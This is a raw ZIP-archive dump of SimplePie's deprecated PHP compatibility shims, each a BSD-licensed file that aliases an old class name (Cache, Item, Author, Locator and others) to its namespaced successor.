    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcached" instead */
    class SimplePie_Cache_Memcached extends Memcached
    {
    }
}
PK�bd[N�h�	�	SimplePie/Cache/Memcache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Memcache;

class_exists('SimplePie\Cache\Memcache');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Memcache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Memcache" instead */
    class SimplePie_Cache_Memcache extends Memcache
    {
    }
}
PK�bd[^�A{	{	SimplePie/Cache/Base.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\Base;

interface_exists('SimplePie\Cache\Base');

// @trigger_error(sprintf('Using the "SimplePie_Cache_Base" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\Base" instead */
    interface SimplePie_Cache_Base extends Base
    {
    }
}
PK�bd[y��s	s	SimplePie/Cache/File.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache\File;

class_exists('SimplePie\Cache\File');

// @trigger_error(sprintf('Using the "SimplePie_Cache_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache\File" instead */
    class SimplePie_Cache_File extends File
    {
    }
}
PK�bd[���V	V	SimplePie/Cache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Cache;

class_exists('SimplePie\Cache');

// @trigger_error(sprintf('Using the "SimplePie_Cache" class is deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Cache" instead */
    class SimplePie_Cache extends Cache
    {
    }
}
PK�bd[�lv�	�	SimplePie/Exception.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Exception as SimplePieException;

class_exists('SimplePie\Exception');

// @trigger_error(sprintf('Using the "SimplePie_Exception" class is deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead */
    class SimplePie_Exception extends SimplePieException
    {
    }
}
PK�bd[K��
k	k	SimplePie/Category.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Category;

class_exists('SimplePie\Category');

// @trigger_error(sprintf('Using the "SimplePie_Category" class is deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Category" instead */
    class SimplePie_Category extends Category
    {
    }
}
PK�bd[��uw�	�	"SimplePie/Content/Type/Sniffer.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Content\Type\Sniffer;

class_exists('SimplePie\Content\Type\Sniffer');

// @trigger_error(sprintf('Using the "SimplePie_Content_Type_Sniffer" class is deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Content\Type\Sniffer" instead */
    class SimplePie_Content_Type_Sniffer extends Sniffer
    {
    }
}
PK�bd[R���r	r	SimplePie/Copyright.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Copyright;

class_exists('SimplePie\Copyright');

// @trigger_error(sprintf('Using the "SimplePie_Copyright" class is deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Copyright" instead */
    class SimplePie_Copyright extends Copyright
    {
    }
}
PK�bd[$��Fd	d	SimplePie/Locator.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Locator;

class_exists('SimplePie\Locator');

// @trigger_error(sprintf('Using the "SimplePie_Locator" class is deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Locator" instead */
    class SimplePie_Locator extends Locator
    {
    }
}
PK�bd[!70tO	O	SimplePie/Item.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Item;

class_exists('SimplePie\Item');

// @trigger_error(sprintf('Using the "SimplePie_Item" class is deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead */
    class SimplePie_Item extends Item
    {
    }
}
PK�bd[��(�]	]	SimplePie/Author.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Author;

class_exists('SimplePie\Author');

// @trigger_error(sprintf('Using the "SimplePie_Author" class is deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Author" instead */
    class SimplePie_Author extends Author
    {
    }
}
PK�bd[�ْd	d	SimplePie/Caption.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
